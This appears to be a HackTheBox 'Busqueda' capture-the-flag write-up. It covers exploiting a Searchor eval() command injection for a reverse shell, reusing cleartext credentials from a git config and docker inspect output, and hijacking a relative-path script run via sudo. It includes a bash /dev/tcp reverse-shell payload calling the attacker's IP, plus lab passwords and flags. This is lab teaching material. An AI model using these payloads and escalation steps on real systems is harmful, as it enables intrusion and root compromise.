Security Vault

Busqueda

Apr 04, 20258 min read

Metadata

  • Platform: HackTheBox
  • CTF: Busqueda
  • OS: Linux
  • Difficulty: Easy

Summary

The backend of this target’s web application uses an insecure call of python’s eval() function, which allows us to quickly gain a foothold onto the system. Using this access, we quickly discover credentials to a local Gitea installation, to which a .git config files stores clear text credentials. The same password also allows us to execute a local python script via sudo with root permissions. While we can’t read the code of this python script, we use it to dump another password from a container’s config file. Afterwards, we use this password to log into an account on the Gitea installation, tracking the aforementioned scripts. There, we discover a call to a shell script over a relative file path. By creating our own malicious shell script, we can use the python file to obtain access to the root account.

Solution

Reconnaissance

Nmap reveals two open ports on the target.

nmap -sC -sV 10.10.11.208 -p- -oN nmap.txt 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-02 16:49 CEST
Nmap scan report for 10.10.11.208
Host is up (0.037s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Due to the directory in port 80, we should add searcher.htb to our /etc/hosts file, so we can access the website.

The website Searcher seems to be an application, with which one can query search terms over multiple search engines in one place. For this, we can use the form below, over which we can choose from a selection of engines, and provide a search term. At the bottom of this page, we can see that the website uses Flask, as well as Searchor 2.4.0 on the backend in order to provide the aforementioned feature.

User Flag

After a bit of research, it seems like this version of Searchor suffers from a command injection vulnerability, due to improper sanitization in combination with python’s eval() function. To abuse this, we can this exploit, which will use this vulnerability to spawn a reverse shell.

./exploit.sh http://searcher.htb 10.10.16.5 4444
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is http://searcher.htb
[*] Input attacker is 10.10.16.5:4444
[*] Run the Reverse Shell... Press Ctrl+C after successful connection

Shortly after execution of the payload, we get a connection to our Netcat listener, in form of a reverse shell as svc, allowing us to claim the user flag.

nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.208] 38148
bash: cannot set terminal process group (1649): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
61fd18884d6f40dd731e78655b14d616

Root Flag

For the initial enumeration of the target, we are not immediately presented with an obvious privilege escalation vector. Moreover, we can not check for any privileges with sudo, since we don’t have this account’s password. Nevertheless, we can find something of value in the target’s /etc/hosts file.

cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 busqueda searcher.htb gitea.searcher.htb

There is an additional subdomain we have not encountered before. After adding this subdomain to our own /etc/hosts file, we can access a Gitea installation over the web browser. However, we don’t have any access to it, since we don’t have credentials. However, this information is still useful to us. In the directory we were dropped in, we can find a .git directory. It seems like this application is tracked via git. Due to the read access, we can take a look at the config file of this directory.

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

It seems like the git repository’s upstream is the Gitea service we found earlier. However, the URL contains hardcoded credentials, which is obviously a terrible practice. This allows us to log not only into the Gitea instance with cody:jh1usoih2bkjaspwe92, but also log into our current user over SSH, meaning we finally have password based access for this account. Now, we can finally check for any sudo permissions.

sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Our user svc is permitted to execute the python script at /opt/scripts/system-checkup.py as the root account. Sadly, this script is owned by root, meaning we can not inspect it any further.

ls -la /opt/scripts
total 28
drwxr-xr-x 3 root root 4096 Dec 24  2022 .
drwxr-xr-x 4 root root 4096 Mar  1  2023 ..
-rwx--x--x 1 root root  586 Dec 24  2022 check-ports.py
-rwx--x--x 1 root root  857 Dec 24  2022 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr  3  2023 .git
-rwx--x--x 1 root root 3346 Dec 24  2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24  2022 system-checkup.py

Instead, let’s execute the script and look at what happens.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py -h
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
 
     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

We are prompted with three actions for this script. While full-checkup doesn’t do anything besides giving us the error Something went wrong, docker-ps lists two docker containers.

sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS          PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   2 years ago   Up 58 minutes   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   2 years ago   Up 58 minutes   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

The action docker-inspect prompts us to also specify the name of a container, as well as some sort of format.

sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

It is important to note, that these two commands, as well as their output look exactly like the commands docker ps and docker inspect, which are action for docker. Since it seems like the script is just called this tool under the hood, we can check how this format needs to look like, but also how we could request valuable files. This page about Docker pentesting suggests to use '{{json .Config}} as the format value, which will dump all configuration values from the target container.

sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

In this output, we find GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh, which looks like another password. To our luck, this password works for the Administrator account on the Gitea installation, granting us access to this account. Due to this access, we can now take a peek at the four shell scripts we found earlier, as they are being tracked by Gitea.

For now, let’s focus on system-checkup.py, since it’s the only script we can directly execute. On section of this code is especially interesting:

def process_action(action):
    if action == 'docker-inspect':
	    <cut>
    elif action == 'docker-ps':
	    <cut>
    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

Here we can see why the full-checkup action failed earlier. The script tries to execute the shell script full-checkup.sh from the current folder instead from an absolute path. Therefore, If we execute the python file from the /opt/scripts folder instead, it actually works as intended.

sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}
 
[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}
 
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
 
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1649     │ 75m    │ 0    │ online    │ 0%       │ 26.0mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
 
[+] Done!

While this output is not relevant for us, we can instead abuse this programming mistake directly. Since the python file looks for the shell script in the present working directory, we can just switch to another folder, in which we place our own malicious shell script. Consequently, the script will also be executed with as the root account. For this, we can simply create our own full-checkup.sh file and fill it a basic reverse shell from Revshells. Here it is necessary to note, that python request us to add the according shebang to the file, since ti otherwise won’t know how to execute the script.

#! /bin/bash
 
bash -i >& /dev/tcp/10.10.16.5/4444 0>&1

Now, we only need to make the file executable via the according permission and execute the python script as root.

chmod +x full-checkup.sh
sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

At this point, the call will hang, and we get a reverse shell connection as root to our Netcat listener, allowing us to claim the root flag.

nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.208] 58216
root@busqueda:/tmp#
5af9846f320f9fe7cd78404017462eec

Graph View

Backlinks